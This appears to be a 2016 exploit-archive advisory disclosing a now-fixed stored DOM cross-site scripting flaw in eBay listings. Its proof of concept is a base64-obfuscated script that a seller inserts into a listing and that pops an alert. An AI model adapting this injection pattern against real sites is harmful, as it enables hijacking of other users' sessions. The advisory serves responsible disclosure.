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Ebay Cross Site Scripting

Ebay Cross Site Scripting
Posted Feb 18, 2016
Authored by Alexander Korznikov

ebay.com suffered from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | a29879e61b3488fdba8438c12dd745e034bbd5c2a76b31866e02d794bf818ecd

Ebay Cross Site Scripting

Change Mirror Download
Hello all,

Description: Persistent DOM based Cross Site Scripting on ebay.com domain.
Disclosed to Ebay: January 2015
Fixed: February 2016
Vulnerability location: Every listing
Who are able to create: Sellers

Same origin policy bypass via postMessage

Write-up:
http://www.korznikov.com/2016/02/persistent-stored-dom-xss-on-ebaycom.html

Proof of Concept:

this code is inserted to the listing to pop-up alert on ebay.com domain.

<script>
window.onload = function() {
var s = document.createElement('script');
s.type = 'text/javascript';
s.text
= atob("X29kdFRpdGxlPSdcPHNjcmlwdFw+YWxlcnQoXCd4c3MgYnkgYWxleGFuZGVyIGtvcnpuaWtvdlxcblxcblwnXCtkb2N1bWVudC5kb21haW4pO1w8XC9zY3JpcHRcPic7");
document.body.appendChild(s);
}
</script>


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